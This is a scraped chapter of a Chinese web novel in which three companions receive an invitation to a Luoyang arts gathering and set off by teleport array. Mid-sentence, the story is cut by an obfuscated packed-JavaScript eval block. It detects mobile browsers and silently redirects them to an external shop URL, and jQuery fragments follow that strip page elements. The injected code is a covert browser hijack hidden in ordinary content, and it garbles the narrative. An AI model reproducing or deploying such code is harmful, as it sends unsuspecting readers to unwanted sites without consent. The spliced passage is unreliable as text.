文趣网 > 都市小说 > 修仙?还是先打工吧 > 40. 22 天降拜帖
    余容笑道:“没什么大碍,快请进吧。”

    他应是刚醒不久,头发还没来得及梳理,慵懒地披在身后,和羲面对面在桌边坐下时,柔顺如绸的浅栗发梢几乎着地,看得羲下意识想帮他捞起来,硬生生忍住了。

    余容接过药碗,道:“谢谢!辛苦你们为我劳心费神。方才我好像听到外面有动静,是发生什么事情了吗?”

    他一说“你们”,再加上角落里似有衣物拂动的声音,羲才注意到,原来琴古竟也还在他房中。

    但这位据说是在“照顾病人”的人,眼下正岁月静好地坐在紧闭的窗边,小口呷着热茶,完全没有一点身为照顾别人的人的自觉。羲道:“公子大人,你也在呢?在做什么呢?”

    琴古放下茶杯,道:“听说北斗阁中来了一位什么大人,喧闹声应是与此有关,我等身为外人,还是不要随便过问了。”

    他虽未直接回答羲的问话,而是跳过她解答了余容的疑惑,但言外之意也挺明了:以为外面有紧要事务,不敢出门打扰。羲道:“已经结束了,不过,我们最近确实不要招惹司阁主、不,她已经不是阁主了。”

    她将司婉意图轻薄上级、惨遭贬官停薪的事情告知二人,正在喝药的余容差点呛到,扶着额头深深叹息,琴古淡淡地道:“原来她竟还有如此癖好,但罪不至此,只怪她惹到心胸狭窄的人了。她今日出门前,恐怕没看黄历。”

    羲撇嘴道:“作风不正可不算小事。看不出来,你还挺向着她的,因为劫狱没被处罚而心怀感激吗?

    琴古摩挲杯子的手一顿,道:“实话实说而已。”

    这边,余容已经喝完药汤,又揉起了眉心。羲关心地问:“还是不舒服吗?”

    余容放下手,抬眼看向她,向来浅透的眸子里多少透着些疲惫,他摇摇头,道:“谈不上不舒服,只是,昨夜好像梦到很多……很熟悉的画面,醒来后,全都想不起来了。”

    羲心下暗叹,无言片刻,又问:“那,要不要今晚再喝一碗酒?是不是又能梦到了?”

    余容被逗笑了,道:“不敢再喝了,我才知自己的酒量居然这么差。昨晚喝下那碗酒之后,什么事都不记得了,我是直接睡倒在宴会上了吗?”

    不等羲回答,琴古幽幽地叹道:“没有。你抓着我们进了一片桃林,非要把很酸的桃子塞进我们嘴里,不肯吃就要打头。”

    羲:“?住口!”

    余容吓得花容失色:“对不起!对不起对不起、我以后再也不敢喝酒了!”

    “我说的‘住口’是让他住口,”羲憋着笑,忙安慰道,“不要听他胡说,你什么坏事都没做,善良得很。”

    琴古给自己斟了杯茶,唇畔扬起很轻的弧度,羲叉起手臂看他,眼神鄙视。余容来回看着两人,这才明白自己是被诈了,扑哧一笑。

    他拍着胸口道:“还好,那种事情……我还在想我醉酒后怎能那般缺德?还好是假的,没有为难到你们就好。”

    琴古嘴角那抹不易察觉的笑消失了,转移到了羲的脸上,她憋不住了,扶着桌子笑了起来。这回轮到琴古恼火地瞥她,只有余容不太清楚真相,还以为她是在笑自己,有点不好意思地摸摸脑袋。

    笑够了,羲清清嗓子,认真地看向余容:“不过,你昨晚倒是说了一句话,不知是真心还是糊涂了……你说,想与我和琴古成为好友,共阅世间山水和悲欢。”

    闻言,余容的眼睛微微睁大,其中的倦意几乎一扫而空,如同云开雾散的银河,闪动着星子般的真挚和惊喜。

    “当然!”

    *

    因为余容状态欠佳,加之前几日确实日夜劳碌,三人索性在北斗阁多歇了几日,白天品茶听琴散步,晚上下棋赏月畅谈,好不惬意快活,把阁中各位修士羡慕得眼都绿了,才稍微收敛些。

    羲手绘了一张简得不能再简的中原地图,在上面圈出几个地方,一一为琴古介绍当地盛产的名木,两人为杉木、梧桐木和金丝楠木哪种更适合造琴辩个不休,最后也没分出高下,决定都去看看。

    正在他们商量该把第一站定为房州、洛州还是渝州时,开阳和司婉恰好抱着公文路过后院,司婉长叹一声,语气很悲痛地对开阳道:“可惜了,这种名流集聚的雅会,拜帖是千金难求啊,我好不容易搞到一张,却要上工,根本没机会去,太难过了。”

    开阳道:“是啊!”

    这两人的对话成功引起了羲等人的注意,羲把地图放到一边,抬头道:“请问,你们在说什么呢?”

    司婉走上前来,把公文重重扔到石桌上,道:“就是洛水雅集,洛阳城十日后要举办的集会,时长足足八日,主题分别是琴棋书画文酒花茶,邀请天下名流雅士前去切磋欣赏。之前合作过的大人物送了我一张拜帖,但是我肯定去不成了,嘤。”

    开阳:“嘤。”

    羲:“?”

    余容道:“你们两位,是不是有点怪怪的……”

    “怪怪的?”司婉阴阳怪气地重复道,“如果你们知道这个拜帖有多珍贵,这个集会有多风雅,而我们,只能眼睁睁看着机会从眼前溜走,就会明白我们的心情不仅是怪怪的,简直是想杀人。”

    那确实很可怜了,但也没办法,毕竟她刚犯过事,顶风作案的下场一定比这更可怜。

    琢磨着她方才的描述,羲感觉心里痒痒的,她虽不敢自称雅士,但这种荟萃天下英才、争奇斗艳的场面,想想就觉得精彩极了。

    何况,洛阳城,原本也在他们三人方才讨论的名木盛产地之中,若能一边寻木材、一边参集会,见识世上各式名琴,再结识几位擅长斫琴奏琴的高人,岂不美哉?

    于是羲撩撩鬓边发丝,假装不经意地道:“真是巧了,我们也打算去洛阳呢,可惜没办法一起出发了。”

    琴古道:“确实。”

    看来他也心动了。开阳够上道,当即拍手笑道:“那正好啊,我们把这份拜帖送你们吧!一份拜帖最多四人参会,你们还能再带一位朋友呢。”

    他从怀中摸出一张金光闪闪的拜帖,正要送上来,司婉却一把按住他的手,道:“凭什么啊?这拜帖我卖出去还能大赚一笔呢,我不想送。”

    开阳愣了,叫了声司婉姐,又被瞪得不敢说话。

    他们二人的手都在暗暗发力,僵持在空中,谁也拗不过谁,看得桌边三人都担心拜帖别被捏坏了,羲忙道:“司阁、司美人,你如果想要报酬的话,我们也可以给的,卖给谁都是卖啊。”

    开阳也苦着脸道:“司婉姐,羲姑娘他们,可是我们的朋友啊,而且他们还帮我们解决了龚家闹鬼的案子,就当把赏金换成这个好了。你不能这么小气吧?”

    闻言,司婉终于慢慢松开了箍住他的那只手,长叹一声,十分忧郁地道:“你说得也对,到底还是我和它的缘分差了一点,就像我和我的爱书们一样……也罢,君子成人之美,我的悲伤,就不要再让别人体会了。”

    开阳挂上一副难以言喻的表情,似是想笑又不敢,又似是想哭却莫名,总之就是看起来憋得很难受。他把那张镀着金粉的拜帖轻放到桌上,对三人道:“三位,请收下吧,祝你们玩得开心。”

    司婉看着那拜帖,又仰头望天,不让泪水滑落,正要决然转身,琴古道:“等等。”

    司婉脚下一顿,琴古从袖中抽出一张钱票,轻拍到桌上那堆公文顶上,“报酬,拿去

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17949390|214136||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。”

    开阳忙摆手道:“公子,你客气了,都是朋友,不用这些的。”

    琴古道:“既是朋友,更不能让你们一无所获,拿去吧,就当作是这些日子的房费。”

    开阳还想推辞,司婉拍拍他的肩,上前拿起那张钱票,笑道:“公子大气!那我们就恭敬不如从命了,我看看是多、少……”

    她倒吸一口凉气。

    开阳好奇地凑到她跟前看了一眼,也倒吸一口凉气,差点没站稳。

    两人震惊地掐着自己的人中保持清醒,齐齐看向琴古,话都说不出来了,但琴古已经翩然起身,收了那张拜帖回房去了。

    司婉高举起钱票,脸上再也没了丝毫悲伤,发出铜钟般的笑声冲入前厅,开阳连忙抱起她忘记拿走的公文,跌跌撞撞地追上去。

    羲和余容沉默地看着这一切,良久,余容道:“好好奇啊,他们最后也没说到底是多少。”

    羲低头看向手边的潦草地图:“虽然我也没看清,但是,感觉……我的工艺费好像要低了。”

    “那就看你的本事了。成品够好,尾款上不封顶。”

    琴古的声音又响起来,两人抬头看去,他竟是已从房中拿出琴盒、整装待发了,“走吧,收拾东西,去洛阳。”

    三人于是结伴前往前厅,北斗阁众人正围着司婉,扒拉着算盘算个不停,瞧见琴古走近,忙都起身热情迎接,递水捶背、嘘寒问暖。琴古抬袖将他们轻轻扫开,道:“各位不必如此客气,多谢收留,告辞。”

    羲对司婉拱手道:“劳驾送我们前往洛阳?”

    司婉当然点头,把钱票和算盘丢给其他人去算了。她起身陪三人出了前厅,道:“通过无距阵,三位会直接抵达洛阳总阁处,不过,总阁肯定是和我们这里不一样的,他们每天要处理来自各个分阁的事务,那是相当繁忙啊。

    “其实,洛阳算是中原最繁华的地方了,越是凡人兴旺的地方,修士和妖族就越少,所以洛阳附近本来是没必要建立北斗阁的,但你们知道为什么偏偏把总阁建到那里吗?第一,周围的琐事少,才有精力处理全天下的事,这第二嘛……”

    她露出一个有点神秘的笑,“我听说,总阁上面还有大人物,就离洛阳不远,所以你们千万少惹事,鞭长莫及,我没法罩到你们的。”

    余容点头笑道:“原来如此,多谢提醒。对了,龚老太……还是叫陈前辈吧,她怎么样了?”

    司婉拍拍胸脯,道:“我办事,放心啦。她受的伤已经没什么大问题了,我原本还想让开阳给她修房子,但她说不回去了,等伤养好了就去寺中皈依修行,她还问我法名是自己取还是人家取,我说不好意思我也不知道。不过这下好了,她那套宅地暂时也归我们管了,回头给它去去秽气,再跟官府交接。”

    羲温声笑道:“如此也好。”又对司婉道,“那宅子的地下可能藏有危险,请务必小心行事。”

    司婉有点疑惑,但还是点点头,羲便放下心来。毕竟,元姐临走前说的那句话,即便有九成概率是气话,也不能完全不当回事,那可是用一把破斧头砍塌了一座房子的狠人啊。

    说话间,三人已经站定七星塔下,司婉按下墙上暗格,一个法阵亮起,她在法阵外的光幕上扫了扫,随后用力挥了挥手。

    “真是想不到啊,当时差一点就把你们两个送去太湖了,后来却发生了这么多事……总之,多谢相助,一路顺风!”

    法阵飞速旋转,她的身影变得模糊,明媚的笑容随光影闪烁。想起这些时日的经历,羲也不禁莞尔,若那时便早早离开,成纪只会是一个夜深风疾、电闪雷鸣的朦胧印象,断不会如此时此刻,风和日丽,飘扬着传说。